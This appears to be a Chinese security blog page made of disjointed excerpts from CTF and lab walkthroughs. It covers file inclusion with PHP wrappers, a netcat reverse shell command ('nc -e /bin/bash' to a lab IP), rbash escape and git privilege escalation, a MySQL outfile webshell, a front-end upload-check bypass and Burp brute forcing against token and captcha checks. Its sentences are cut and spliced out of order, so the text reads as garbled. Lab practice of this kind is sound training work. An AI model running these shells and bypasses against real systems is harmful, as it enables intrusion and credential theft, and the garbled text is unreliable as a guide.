摘星怪sec的blog

截止目前以上都是本人使用过的，当然使用搜索引擎(fofa...)可以白嫖，但是我想大家都是小白走过来的，用pikachu师傅的一句话就是："少就是多，慢就是快"。希望本文能帮助到大家。当前还有很多开源的优秀靶场，下面大家可以研究哈，一起交流学习~​​​​​​​师傅们可以进交流群，一块学习哈~

常用的伪协议有就可以利用使用文件包含函数包含文件时,文件中的代码会被执行,如果想要读取文件源码,可以使用对文件内容进行编码,编码后的文件内容不会被执行,而是展示在页面中,我们将页面中的内容使用解码,就可以获取文件的源码了。

流量分析使用题目得到密码，由于是网站登录，打开之后过滤http 清除看到login，点开得到flag{ffb7567a1d4f4abdffdb54e022f8facd}荷兰宽带数据泄露下载之后是bin后缀的二进制文件，使用RouterPassview搜索关键字username和password，最终flag是username后门查杀下载之后是个HTML文件，按照描述有后门且答案是MD5，使用D盾扫出来，在搜索pass密码即可文件中的秘密。

nc -e /bin/bash 192.168.56.128 8086（nc+-e+/bin/bash+192.168.56.128+8086）空格用+号代替,也可以直接进行url编码。小结：用到的用户也就是jim和charles，要是前者能提权就省事了，不过靶机都是有提示，都是最后要提权，估计后面的靶机提权也不重样。去邮箱看到：/var/spool/mail 这里是前面提到的三个用户的：charles，以及给了密码：^xHhA&hvim0y。查看mbox的内容，看到有邮箱提示：来自root用户的信。

唯一有用的就只有vi（编辑器）这个命令，这里可以里用vi或者是BASH_CMDS设置shell来绕过rbash，然后再设置环境变量添加命令。已经升级为bash了，无法执行cat命令是因为环境变量的问题，用以下命令添加一下两条路径即可。后台登录地址，弱密码没爆破出来，结合上面的用 cewl生成字典。提示我们得su一下jerry，su是Linux切换用户的命令。得到flag4,提示git，还有root看来是要提权的操作。发现git能使用root的权限，这里有两种提权的姿势。爆破出了jerry和tom的密码。

如果是虚拟机打开报错，可以尝试一下更改。

拓扑图win7需要配置两张网卡，模拟内外网环境，充当跳板机外网网段：56内网网段：72目标拿下域控，2008，72.131，已经72.132。

搭建可能出现的情况：第一次导入镜像失败，可以再次尝试若出现报错的情况，都能搜到攻略,在设置里边更改即可以上情况博主都遇到了，不过都能搜到攻略。

条件：web目录具有写的权限，能够使用单引号；知道网站绝对路径；secure_file_priv为空以sqli-labs举例，secure_file_priv的值默认是NULL（5.5之前默认是空的），则表示限制mysqId不允许导入以及导出在mysql/my.ini中查看是否有secure_file_priv参数，这里是没有的因此我们加上去：secure_flie_priv=''即可这里进行16进制转换，因此是0X开头，写入“

搭建Cardinal平台平台搭建环境：KaliDockermysqlCardina根据自己的操作系统选择，这里我的是第四个。

通过前面的爆破就发现，后端校验比前端校验更安全，更可靠，一切在前端做的安全措施都是不靠谱的，仅起到辅助作用，但是前端校验可以增加用户体验，前端校验防君子，后端校验防小人首先只能上传图片，查看源码，上传位置有HTML onchange该元素 “在元素值改变时触发”将“checkFileExt(this.value)“属性删除，再次上传php就成功了。

反复尝试了一线，发现无论输入错误验证码，或者为空，都返回用户域名username or password is not exists～（用户名或密码不存在）此时验证码就不起作用了，验证码完全交给前端，后端并没有验证工作，因此还是只爆破用户名和密码就行了。Burp绕过token，这里选择pitchfork 一对一模式，设置密码和token两个，添加到payload。的图片，因此只改变用户名和密码，虽然报错，但验证码可反复重复使用，还是老样子发送到攻击模块。剩下的和之前一样，省略一些步骤了，直接看结果。

进去之后一眼就看出来了一个，因此和上面对应住了，在/static/img/1.php路径下面有一个shell。刚开始进入了一个二手交易市场，等待一会儿，自动跳转一个url复制它就是flag记住去除后面的斜杠。文件，当然这个命令只是快速做题的一种方法，我也是参考了大佬的文章，正常我是一点一点翻出来的。然后进入日志路径查看/var/log/nginx/access.log.db。在路径下找的，就如图路径下找到了，database.php。的账户，删除掉就行了，当然也可以不用命令，直接。进去手动删了也是可以的。